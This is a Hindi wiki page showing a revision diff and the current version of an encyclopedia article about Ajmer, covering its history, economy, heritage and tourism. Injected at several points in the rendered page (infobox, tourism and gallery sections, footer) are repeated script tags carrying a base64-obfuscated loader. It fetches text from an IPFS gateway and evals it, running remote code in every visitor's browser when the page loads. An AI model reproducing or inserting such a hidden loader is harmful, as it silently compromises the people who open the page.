"अजमेर" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - " भारत " to " भारत ") |
आदित्य चौधरी (चर्चा | योगदान) छो (Text replacement - "छः" to "छह") |
||
(9 सदस्यों द्वारा किये गये बीच के 28 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 8: | पंक्ति 8: | ||
|प्रबंधक= | |प्रबंधक= | ||
|निर्माण काल= | |निर्माण काल= | ||
− | |स्थापना=सन | + | |स्थापना=सन 1100 ई. में राजा [[अजयदेव चौहान]] द्वारा स्थापित |
|भौगोलिक स्थिति=उत्तर- 26° 45' - पूर्व- 74° 64' | |भौगोलिक स्थिति=उत्तर- 26° 45' - पूर्व- 74° 64' | ||
|मार्ग स्थिति=[[दिल्ली]] से दक्षिण पश्चिम की ओर 389 किलोमीटर, [[जयपुर]] से 140 किलोमीटर की दूरी पर स्थित है। | |मार्ग स्थिति=[[दिल्ली]] से दक्षिण पश्चिम की ओर 389 किलोमीटर, [[जयपुर]] से 140 किलोमीटर की दूरी पर स्थित है। | ||
पंक्ति 14: | पंक्ति 14: | ||
|कब जाएँ= | |कब जाएँ= | ||
|यातायात= | |यातायात= | ||
− | |हवाई अड्डा= | + | |हवाई अड्डा=जोधपुर हवाई अड्डा |
− | |रेलवे स्टेशन= | + | |रेलवे स्टेशन=अजमेर जंक्शन रेलवे स्टेशन |
|बस अड्डा=बस अड्डा अजमेर | |बस अड्डा=बस अड्डा अजमेर | ||
− | |कैसे पहुँचें= | + | |कैसे पहुँचें=रेल, बस, टैक्सी |
|क्या देखें=संग्रहालय, झीलें, मंदिर, क़िले | |क्या देखें=संग्रहालय, झीलें, मंदिर, क़िले | ||
− | |कहाँ ठहरें= | + | |कहाँ ठहरें=होटल, धर्मशाला, अतिथि ग्रह |
|क्या खायें= | |क्या खायें= | ||
|क्या ख़रीदें=केन की बनी कुर्सियाँ, मूढ़े और इत्र | |क्या ख़रीदें=केन की बनी कुर्सियाँ, मूढ़े और इत्र | ||
पंक्ति 25: | पंक्ति 25: | ||
|ए.टी.एम= | |ए.टी.एम= | ||
|सावधानी= | |सावधानी= | ||
− | |मानचित्र लिंक= | + | |मानचित्र लिंक=[http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=Ajmer,+Rajasthan&aq=0&sll=21.125498,81.914063&sspn=34.855829,79.013672&ie=UTF8&hq=&hnear=Ajmer,+Rajasthan&z=11 गूगल मानचित्र], [http://maps.google.co.in/maps?f=d&source=s_d&saddr=Dargah+Ajmer+Sharif,+Ajmer,+Rajasthan&daddr=Jodhpur+Airport,+Jodhpur,+Rajasthan&geocode=FcawkwEdi7pyBCFDoyCsgGAj7w%3BFRySkAEdjaBaBClLh-AZhIxBOTFTOB8bb1E7kw&hl=en&mra=ls&sll=26.45019,74.635475&sspn=0.01656,0.038581&ie=UTF8&z=9 जोधपुर हवाई अड्डा] |
|संबंधित लेख= | |संबंधित लेख= | ||
|शीर्षक 1= | |शीर्षक 1= | ||
पंक्ति 31: | पंक्ति 31: | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
− | |अन्य जानकारी=अजमेर शहर की उत्तरी दिशा में 11वीं सदी में बनी एक झील है, जिसके तट पर [[शाहजहाँ]] ने संगमरमर की छतरियाँ बनवाई थीं। | + | |अन्य जानकारी=अजमेर शहर की उत्तरी दिशा में 11वीं [[सदी]] में बनी एक झील है, जिसके तट पर [[शाहजहाँ]] ने संगमरमर की छतरियाँ बनवाई थीं। |
|बाहरी कड़ियाँ= | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
}} | }} | ||
{{लेख सूची | {{लेख सूची | ||
पंक्ति 41: | पंक्ति 42: | ||
}} | }} | ||
− | अजमेर शहर, मध्य [[राजस्थान]] राज्य, पश्चिमोत्तर [[भारत]] में स्थित है। अजमेर तारागढ़ की पहाड़ी, जिसके शिखर पर क़िला है, निचली ढलानों पर यह शहर स्थित है। पर्वतीय क्षेत्र में बसा अजमेर अरावली पर्वतमाला का एक हिस्सा है, जिसके दक्षिण-पश्चिम में लूनी व पूर्वी हिस्से में बनास की सहायक नदियाँ बहती हैं। मुग़लों की बेगम और शहजादियाँ यहाँ अपना समय व्यतीत करती थी। इस क्षेत्र को इत्र के लिए प्रसिद्ध बनाने में उनका बहुत | + | अजमेर शहर, मध्य [[राजस्थान]] राज्य, पश्चिमोत्तर [[भारत]] में स्थित है। अजमेर तारागढ़ की पहाड़ी, जिसके शिखर पर क़िला है, निचली ढलानों पर यह शहर स्थित है। पर्वतीय क्षेत्र में बसा अजमेर [[अरावली पर्वतमाला]] का एक हिस्सा है, जिसके दक्षिण-पश्चिम में लूनी व पूर्वी हिस्से में बनास की सहायक नदियाँ बहती हैं। मुग़लों की बेगम और शहजादियाँ यहाँ अपना समय व्यतीत करती थी। इस क्षेत्र को इत्र के लिए प्रसिद्ध बनाने में उनका बहुत बड़ा हाथ था। कहा जाता है कि नुरजहाँ ने गुलाब के इत्र को ईजाद किया था। कुछ लोगों का मानना है यह इत्र [[नूरजहाँ]] की माँ ने ईजाद किया था। अजमेर में [[पान]] की खेती भी होती है। इसकी महक और स्वाद गुलाब जैसी होती है। |
==स्थापना== | ==स्थापना== | ||
राजा [[अजयदेव चौहान]] ने 1100 ई. में अजमेर की स्थापना की थी। सम्भव है, कि [[पुष्कर अजमेर|पुष्कर]] अथवा [[अनासागर झील अजमेर|अनासागर झील]] के निकट होने से अजयदेव ने अपनी राजधानी का नाम अजयमेर (मेर या मीर—झील, जैसे कश्यपमीर=काश्मीर) रखा हो। उन्होंने तारागढ़ की पहाड़ी पर एक क़िला गढ़-बिटली नाम से बनवाया था। जिसे कर्नल टाड ने अपने सुप्रसिद्ध ग्रंथ में राजपूताने की कुँजी कहा है। | राजा [[अजयदेव चौहान]] ने 1100 ई. में अजमेर की स्थापना की थी। सम्भव है, कि [[पुष्कर अजमेर|पुष्कर]] अथवा [[अनासागर झील अजमेर|अनासागर झील]] के निकट होने से अजयदेव ने अपनी राजधानी का नाम अजयमेर (मेर या मीर—झील, जैसे कश्यपमीर=काश्मीर) रखा हो। उन्होंने तारागढ़ की पहाड़ी पर एक क़िला गढ़-बिटली नाम से बनवाया था। जिसे कर्नल टाड ने अपने सुप्रसिद्ध ग्रंथ में राजपूताने की कुँजी कहा है। | ||
==इतिहास== | ==इतिहास== | ||
− | *अजमेर में, 1153 में प्रथम चौहान-नरेश बीसलदेव ने एक मन्दिर बनवाया था, जिसे 1192 ई. में [[मुहम्मद ग़ोरी]] ने नष्ट करके उसके स्थान पर अढ़ाई दिन का झोंपड़ा नामक | + | *अजमेर में, 1153 में प्रथम चौहान-नरेश बीसलदेव ने एक मन्दिर बनवाया था, जिसे 1192 ई. में [[मुहम्मद ग़ोरी]] ने नष्ट करके उसके स्थान पर अढ़ाई दिन का झोंपड़ा नामक मस्जिद बनवाई थी। |
− | *कुछ विद्वानों का मत है, कि इसका निर्माता [[ | + | *कुछ विद्वानों का मत है, कि इसका निर्माता [[कुतुबुद्दीन ऐबक]] था। |
+ | [[चित्र:Pushkar-Lake-Ajmer-1.jpg|thumb|250px|left|[[पुष्कर झील]], अजमेर<br /> Pushkar Lake, Ajmer]] | ||
*कहावत है, कि यह इमारत अढ़ाई दिन में बनकर तैयार हुई थी, किन्तु ऐतिहासिकों का मत है, कि इस नाम के पड़ने का कारण इस स्थान पर मराठा काल में होने वाला अढ़ाई दिन का मेला है। इस इमारत की क़ारीगरी विशेषकर पत्थर की नक़्क़ाशी प्रशंसनीय है। | *कहावत है, कि यह इमारत अढ़ाई दिन में बनकर तैयार हुई थी, किन्तु ऐतिहासिकों का मत है, कि इस नाम के पड़ने का कारण इस स्थान पर मराठा काल में होने वाला अढ़ाई दिन का मेला है। इस इमारत की क़ारीगरी विशेषकर पत्थर की नक़्क़ाशी प्रशंसनीय है। | ||
− | *इससे पहले सोमनाथ जाते समय (1124 | + | *इससे पहले सोमनाथ जाते समय (1124 ई.) में [[महमूद ग़ज़नवी]] अजमेर होकर गया था। |
*मुहम्मद ग़ौरी ने जब 1192 ई. में [[भारत]] पर आक्रमण किया, तो उस समय अजमेर [[पृथ्वीराज चौहान|पृथ्वीराज]] के राज्य का एक बड़ा नगर था। | *मुहम्मद ग़ौरी ने जब 1192 ई. में [[भारत]] पर आक्रमण किया, तो उस समय अजमेर [[पृथ्वीराज चौहान|पृथ्वीराज]] के राज्य का एक बड़ा नगर था। | ||
− | *पृथ्वीराज की पराजय के | + | *पृथ्वीराज की पराजय के पश्चात् [[दिल्ली]] पर मुसलमानों का अधिकार होने के साथ अजमेर पर भी उनका क़ब्ज़ा हो गया, और फिर दिल्ली के भाग्य के साथ-साथ अजमेर के भाग्य का भी निपटारा होता रहा। |
− | *1193 में दिल्ली के | + | *1193 में दिल्ली के ग़ुलाम वंश ने इसे अपने अधिकार में ले लिया। |
− | मुग़ल सम्राट [[अकबर]] को अजमेर से बहुत प्रेम था, क्योंकि उसे [[मुईनुद्दीन चिश्ती]] | + | मुग़ल सम्राट [[अकबर]] को अजमेर से बहुत प्रेम था, क्योंकि उसे [[ख़्वाजा मोइनुद्दीन चिश्ती दरगाह|मुईनुद्दीन चिश्ती की दरगाह]] की यात्रा में बड़ी श्रृद्धा थी। एक बार वह [[आगरा]] से पैदल ही चलकर दरग़ाह की ज़ियारत को आया था। मुईनुद्दीन चिश्ती 12वीं शती ई. में [[ईरान]] से [[भारत]] आए थे। अकबर और [[जहाँगीर]] ने इस दरग़ाह के पास ही मस्जिदें बनवाई थीं। [[शाहजहाँ]] ने अजमेर को अपने अस्थायी निवास-स्थान के लिए चुना था। निकटवर्ती [[तारागढ़ की पहाड़ी]] पर भी उसने एक दुर्ग-प्रासाद का निर्माण करवाया था, जिसे विशप हेबर ने [[भारत]] का जिब्राल्टर कहा है। यह निश्चित है, कि राजपूतकाल में अजमेर को अपनी महत्त्वपूर्ण स्थिति के कारण राजस्थान का नाक़ा समझा जाता था। अजमेर के पास ही अनासागर झील है, जिसकी सुन्दर पर्वतीय दृश्यावली से आकृष्ट होकर शाहजहाँ ने यहाँ पर संगमरमर के महल बनवाए थे। यह झील अजमेर-पुष्कर मार्ग पर है। 1878 में अजमेर क्षेत्र को मुख्य आयुक्त के प्रान्त के अजमेर-मेरवाड़ रूप में गठित किया गया और दो अलग इलाक़ों में बाँट दिया गया। इनमें से बड़े में अजमेर और [[मेरवाड़]] उपखण्ड थे तथा दक्षिण-पूर्व में छोटा केकरी उपखण्ड था। 1956 में यह राजस्थान राज्य का हिस्सा बन गया। |
+ | ==यातायात और परिवहन== | ||
+ | [[चित्र:Pushkar-Ajmer.jpg|thumb|250px|[[पुष्कर]], अजमेर<br />Pushkar, Ajmer]] | ||
+ | अजमेर पहुँचने के लिए सबसे बेहतर विकल्प रेल मार्ग है। दिल्ली से दिल्ली-अहमदाबाद एक्सप्रेस द्वारा आसानी से अजमेर पहुँचा जा सकता है। रेलमार्ग के अलावा राष्ट्रीय राजमार्ग 8 से निजी वाहन द्वारा भी [[बेहरोड]] और [[जयपुर]] होते हुए अजमेर पहुँचा जा सकता है। | ||
+ | |||
+ | ==कृषि और खनिज== | ||
+ | [[कृषि]] यहाँ का मुख्य व्यवसाय है और मुख्यतः [[मक्का]], [[गेहूँ]], बाजरा, चना, [[कपास]], तिलहन, मिर्च व प्याज़ उगाए जाते हैं। यहाँ पर अभ्रक, लाल स्फटिक घातु और इमारती पत्थर की खुदाई होती है। | ||
+ | |||
+ | ==उद्योग और व्यापार== | ||
+ | सड़क व रेल मार्गों से जुड़ा अजमेर [[नमक]], अभ्रक, कपड़े व कृषि उत्पादों का प्रमुख व्यापारिक केन्द्र है और यहाँ पर तिलहन, होज़री, ऊन, जूते, साबुन व दवा निर्माण से जुड़े छोटे-छोटे अनेक उद्योग हैं। अजमेर कपड़ों की रंगाई व बुनाई तथा अपने हस्तशिल्प के लिए प्रसिद्ध है। | ||
==संस्कृत साहित्य== | ==संस्कृत साहित्य== | ||
− | [[चित्र:Pushkar-Lake-Ajmer.jpg| | + | [[चित्र:Pushkar-Lake-Ajmer-3.jpg|thumb|250px|पुष्कर झील, अजमेर<br /> Pushkar Lake, Ajmer]] |
− | अजमेर में, चौहान राजाओं के समय में संस्कृत साहित्य की भी अच्छी प्रगति हुई थी। पृथ्वीराज के पितृव्य विग्रहराज चतुर्थ के समय के संस्कृत तथा प्राकृत में लिखित दो नाटक, ललित-विग्रहराज नाटक और हरकली नाटक | + | अजमेर में, चौहान राजाओं के समय में संस्कृत साहित्य की भी अच्छी प्रगति हुई थी। पृथ्वीराज के पितृव्य विग्रहराज चतुर्थ के समय के संस्कृत तथा प्राकृत में लिखित दो नाटक, ललित-विग्रहराज नाटक और हरकली नाटक छह काल संगमरमर के पटलों पर उत्कीर्ण प्राप्त हुए हैं। ये पत्थर अजमेर की मुख्य मस्जिद में लग हुए हैं। मूलरूप से ये किसी प्राचीन मन्दिर में जड़े गए होंगे। |
==वास्तु धरोहर== | ==वास्तु धरोहर== | ||
− | यहाँ की वास्तु धरोहरों में एक प्राचीन जैन मन्दिर (लगभग 1200 ई. पू. में इसे एक | + | यहाँ की वास्तु धरोहरों में एक प्राचीन जैन मन्दिर (लगभग 1200 ई. पू. में इसे एक मस्जिद में बदल दिया गया), ख़्वाजा मुइनुद्दीन चिश्ती (मृ. 1236) की सफ़ेद संगमरमर से निर्मित दरग़ाह और अब संग्रहालय बन चुका अकबर का महल (1556 से 1605 तक मुग़ल बादशाह) शामिल है। यह शहन राजपूतों (ऐतिहासिक राजपूताना के क्षत्रिय शासक) के ख़िलाफ़ मुसलमान शासकों की सैन्य चौकी था। शहर की उत्तरी दिशा में 11वीं [[सदी]] में बनी एक झील है, जिसके तट पर शाहजहाँ (शासन काल, 1628-1658) ने संगमरमर की छतरियाँ बनवाई थीं। 1870 ई. में अजमेर में एक विशेष दरबार आयोजित किया गया, जिसमें [[राजस्थान]] के प्रमुख राजा, महाराजाओं व सरदारों ने भाग लिया। |
− | + | *इसमें [[लार्ड मेयो]] ने अजमेर में [[मेयो कॉलेज अजमेर|मेयो कॉलेज]] की स्थापना की। | |
− | + | *अजमेर में [[राजस्थान लोक सेवा आयोग]] का मुख्यालय भी है। | |
− | == | + | |
− | + | ==पर्यटन== | |
− | == | + | {{main| अजमेर पर्यटन}} |
− | अजमेर | + | अजमेर के क़रीब दरगाह शरीफ़ है। कहा जाता है कि यह वही स्थान है जहाँ सुफी संत हजरत ख़्वाजा मोईनुद्दीन चिश्ती ने आख़िरी बार विश्राम किया था। जहाँ लोग दूर-दूर से दर्शन के लिए आते हैं। |
− | == | + | |
− | *[http://ajmer.nic.in/ | + | ==वीथिका== |
+ | {{Panorama | ||
+ | |image =चित्र:Pushkar-Lake-Ajmer-2.jpg | ||
+ | |height =250 | ||
+ | |alt =पुष्कर झील | ||
+ | |caption= अजमेर की [[पुष्कर झील]] का विहंगम दृश्य<br />Panoramic View Of Pushkar Lake, Ajmer | ||
+ | }} | ||
+ | <gallery> | ||
+ | चित्र:Pushkar-Lake-Ajmer.jpg|[[पुष्कर झील]], अजमेर<br /> Pushkar Lake, Ajmer | ||
+ | चित्र:Adhai-Din-Ka-Jhonpra-Ajmer.JPG|[[अढाई दिन का झोपडा अजमेर|अढाई दिन का झोपडा]], अजमेर<br />Adhai Din Ka Jhonpra, Ajmer | ||
+ | चित्र:Pushkar-Camel-Fair.jpg|ऊँट मेला, [[पुष्कर]]<br />Camel Fair, Pushkar | ||
+ | चित्र:Mayo-College-Ajmer.jpg|[[मेयो कॉलेज अजमेर|मेयो कॉलेज]] | ||
+ | </gallery> | ||
+ | |||
+ | |||
+ | {{प्रचार}} | ||
+ | {{लेख प्रगति | ||
+ | |आधार= | ||
+ | |प्रारम्भिक=प्रारम्भिक2 | ||
+ | |माध्यमिक= | ||
+ | |पूर्णता= | ||
+ | |शोध= | ||
+ | }} | ||
+ | |||
+ | ==बाहरी कड़ियाँ== | ||
+ | *[http://ajmer.nic.in/ अधिकारिक वेबसाइट] | ||
+ | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{राजस्थान}} | {{राजस्थान}} | ||
+ | {{राजस्थान के नगर}} | ||
{{राजस्थान के पर्यटन स्थल}} | {{राजस्थान के पर्यटन स्थल}} | ||
[[Category:राजस्थान]] | [[Category:राजस्थान]] | ||
पंक्ति 77: | पंक्ति 115: | ||
[[Category:राजस्थान के नगर]] | [[Category:राजस्थान के नगर]] | ||
[[Category:भारत के नगर]] | [[Category:भारत के नगर]] | ||
+ | [[Category:अजमेर]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
11:32, 9 फ़रवरी 2021 के समय का अवतरण
अजमेर
| |
विवरण | अजमेर शहर, मध्य राजस्थान राज्य, पश्चिमोत्तर भारत में स्थित है। तारागढ़ की पहाड़ी के शिखर पर जो क़िला है, उसकी निचली ढलानों पर अजमेर शहर बसा हुआ है। |
राज्य | राजस्थान |
ज़िला | अजमेर ज़िला |
स्थापना | सन 1100 ई. में राजा अजयदेव चौहान द्वारा स्थापित |
भौगोलिक स्थिति | उत्तर- 26° 45' - पूर्व- 74° 64' |
मार्ग स्थिति | दिल्ली से दक्षिण पश्चिम की ओर 389 किलोमीटर, जयपुर से 140 किलोमीटर की दूरी पर स्थित है। |
प्रसिद्धि | अजमेर कपड़ों की रंगाई व बुनाई तथा अपने हस्तशिल्प के लिए प्रसिद्ध है। |
कैसे पहुँचें | रेल, बस, टैक्सी |
जोधपुर हवाई अड्डा | |
अजमेर जंक्शन रेलवे स्टेशन | |
बस अड्डा अजमेर | |
क्या देखें | संग्रहालय, झीलें, मंदिर, क़िले |
कहाँ ठहरें | होटल, धर्मशाला, अतिथि ग्रह |
क्या ख़रीदें | केन की बनी कुर्सियाँ, मूढ़े और इत्र |
एस.टी.डी. कोड | 0145 |
गूगल मानचित्र, जोधपुर हवाई अड्डा | |
अन्य जानकारी | अजमेर शहर की उत्तरी दिशा में 11वीं सदी में बनी एक झील है, जिसके तट पर शाहजहाँ ने संगमरमर की छतरियाँ बनवाई थीं। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अजमेर | अजमेर पर्यटन | अजमेर ज़िला |
अजमेर शहर, मध्य राजस्थान राज्य, पश्चिमोत्तर भारत में स्थित है। अजमेर तारागढ़ की पहाड़ी, जिसके शिखर पर क़िला है, निचली ढलानों पर यह शहर स्थित है। पर्वतीय क्षेत्र में बसा अजमेर अरावली पर्वतमाला का एक हिस्सा है, जिसके दक्षिण-पश्चिम में लूनी व पूर्वी हिस्से में बनास की सहायक नदियाँ बहती हैं। मुग़लों की बेगम और शहजादियाँ यहाँ अपना समय व्यतीत करती थी। इस क्षेत्र को इत्र के लिए प्रसिद्ध बनाने में उनका बहुत बड़ा हाथ था। कहा जाता है कि नुरजहाँ ने गुलाब के इत्र को ईजाद किया था। कुछ लोगों का मानना है यह इत्र नूरजहाँ की माँ ने ईजाद किया था। अजमेर में पान की खेती भी होती है। इसकी महक और स्वाद गुलाब जैसी होती है।
स्थापना
राजा अजयदेव चौहान ने 1100 ई. में अजमेर की स्थापना की थी। सम्भव है, कि पुष्कर अथवा अनासागर झील के निकट होने से अजयदेव ने अपनी राजधानी का नाम अजयमेर (मेर या मीर—झील, जैसे कश्यपमीर=काश्मीर) रखा हो। उन्होंने तारागढ़ की पहाड़ी पर एक क़िला गढ़-बिटली नाम से बनवाया था। जिसे कर्नल टाड ने अपने सुप्रसिद्ध ग्रंथ में राजपूताने की कुँजी कहा है।
इतिहास
- अजमेर में, 1153 में प्रथम चौहान-नरेश बीसलदेव ने एक मन्दिर बनवाया था, जिसे 1192 ई. में मुहम्मद ग़ोरी ने नष्ट करके उसके स्थान पर अढ़ाई दिन का झोंपड़ा नामक मस्जिद बनवाई थी।
- कुछ विद्वानों का मत है, कि इसका निर्माता कुतुबुद्दीन ऐबक था।
- कहावत है, कि यह इमारत अढ़ाई दिन में बनकर तैयार हुई थी, किन्तु ऐतिहासिकों का मत है, कि इस नाम के पड़ने का कारण इस स्थान पर मराठा काल में होने वाला अढ़ाई दिन का मेला है। इस इमारत की क़ारीगरी विशेषकर पत्थर की नक़्क़ाशी प्रशंसनीय है।
- इससे पहले सोमनाथ जाते समय (1124 ई.) में महमूद ग़ज़नवी अजमेर होकर गया था।
- मुहम्मद ग़ौरी ने जब 1192 ई. में भारत पर आक्रमण किया, तो उस समय अजमेर पृथ्वीराज के राज्य का एक बड़ा नगर था।
- पृथ्वीराज की पराजय के पश्चात् दिल्ली पर मुसलमानों का अधिकार होने के साथ अजमेर पर भी उनका क़ब्ज़ा हो गया, और फिर दिल्ली के भाग्य के साथ-साथ अजमेर के भाग्य का भी निपटारा होता रहा।
- 1193 में दिल्ली के ग़ुलाम वंश ने इसे अपने अधिकार में ले लिया।
मुग़ल सम्राट अकबर को अजमेर से बहुत प्रेम था, क्योंकि उसे मुईनुद्दीन चिश्ती की दरगाह की यात्रा में बड़ी श्रृद्धा थी। एक बार वह आगरा से पैदल ही चलकर दरग़ाह की ज़ियारत को आया था। मुईनुद्दीन चिश्ती 12वीं शती ई. में ईरान से भारत आए थे। अकबर और जहाँगीर ने इस दरग़ाह के पास ही मस्जिदें बनवाई थीं। शाहजहाँ ने अजमेर को अपने अस्थायी निवास-स्थान के लिए चुना था। निकटवर्ती तारागढ़ की पहाड़ी पर भी उसने एक दुर्ग-प्रासाद का निर्माण करवाया था, जिसे विशप हेबर ने भारत का जिब्राल्टर कहा है। यह निश्चित है, कि राजपूतकाल में अजमेर को अपनी महत्त्वपूर्ण स्थिति के कारण राजस्थान का नाक़ा समझा जाता था। अजमेर के पास ही अनासागर झील है, जिसकी सुन्दर पर्वतीय दृश्यावली से आकृष्ट होकर शाहजहाँ ने यहाँ पर संगमरमर के महल बनवाए थे। यह झील अजमेर-पुष्कर मार्ग पर है। 1878 में अजमेर क्षेत्र को मुख्य आयुक्त के प्रान्त के अजमेर-मेरवाड़ रूप में गठित किया गया और दो अलग इलाक़ों में बाँट दिया गया। इनमें से बड़े में अजमेर और मेरवाड़ उपखण्ड थे तथा दक्षिण-पूर्व में छोटा केकरी उपखण्ड था। 1956 में यह राजस्थान राज्य का हिस्सा बन गया।
यातायात और परिवहन
अजमेर पहुँचने के लिए सबसे बेहतर विकल्प रेल मार्ग है। दिल्ली से दिल्ली-अहमदाबाद एक्सप्रेस द्वारा आसानी से अजमेर पहुँचा जा सकता है। रेलमार्ग के अलावा राष्ट्रीय राजमार्ग 8 से निजी वाहन द्वारा भी बेहरोड और जयपुर होते हुए अजमेर पहुँचा जा सकता है।
कृषि और खनिज
कृषि यहाँ का मुख्य व्यवसाय है और मुख्यतः मक्का, गेहूँ, बाजरा, चना, कपास, तिलहन, मिर्च व प्याज़ उगाए जाते हैं। यहाँ पर अभ्रक, लाल स्फटिक घातु और इमारती पत्थर की खुदाई होती है।
उद्योग और व्यापार
सड़क व रेल मार्गों से जुड़ा अजमेर नमक, अभ्रक, कपड़े व कृषि उत्पादों का प्रमुख व्यापारिक केन्द्र है और यहाँ पर तिलहन, होज़री, ऊन, जूते, साबुन व दवा निर्माण से जुड़े छोटे-छोटे अनेक उद्योग हैं। अजमेर कपड़ों की रंगाई व बुनाई तथा अपने हस्तशिल्प के लिए प्रसिद्ध है।
संस्कृत साहित्य
अजमेर में, चौहान राजाओं के समय में संस्कृत साहित्य की भी अच्छी प्रगति हुई थी। पृथ्वीराज के पितृव्य विग्रहराज चतुर्थ के समय के संस्कृत तथा प्राकृत में लिखित दो नाटक, ललित-विग्रहराज नाटक और हरकली नाटक छह काल संगमरमर के पटलों पर उत्कीर्ण प्राप्त हुए हैं। ये पत्थर अजमेर की मुख्य मस्जिद में लग हुए हैं। मूलरूप से ये किसी प्राचीन मन्दिर में जड़े गए होंगे।
वास्तु धरोहर
यहाँ की वास्तु धरोहरों में एक प्राचीन जैन मन्दिर (लगभग 1200 ई. पू. में इसे एक मस्जिद में बदल दिया गया), ख़्वाजा मुइनुद्दीन चिश्ती (मृ. 1236) की सफ़ेद संगमरमर से निर्मित दरग़ाह और अब संग्रहालय बन चुका अकबर का महल (1556 से 1605 तक मुग़ल बादशाह) शामिल है। यह शहन राजपूतों (ऐतिहासिक राजपूताना के क्षत्रिय शासक) के ख़िलाफ़ मुसलमान शासकों की सैन्य चौकी था। शहर की उत्तरी दिशा में 11वीं सदी में बनी एक झील है, जिसके तट पर शाहजहाँ (शासन काल, 1628-1658) ने संगमरमर की छतरियाँ बनवाई थीं। 1870 ई. में अजमेर में एक विशेष दरबार आयोजित किया गया, जिसमें राजस्थान के प्रमुख राजा, महाराजाओं व सरदारों ने भाग लिया।
- इसमें लार्ड मेयो ने अजमेर में मेयो कॉलेज की स्थापना की।
- अजमेर में राजस्थान लोक सेवा आयोग का मुख्यालय भी है।
पर्यटन
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अजमेर के क़रीब दरगाह शरीफ़ है। कहा जाता है कि यह वही स्थान है जहाँ सुफी संत हजरत ख़्वाजा मोईनुद्दीन चिश्ती ने आख़िरी बार विश्राम किया था। जहाँ लोग दूर-दूर से दर्शन के लिए आते हैं।
वीथिका
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पुष्कर झील, अजमेर
Pushkar Lake, Ajmerअढाई दिन का झोपडा, अजमेर
Adhai Din Ka Jhonpra, Ajmerऊँट मेला, पुष्कर
Camel Fair, Pushkar
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>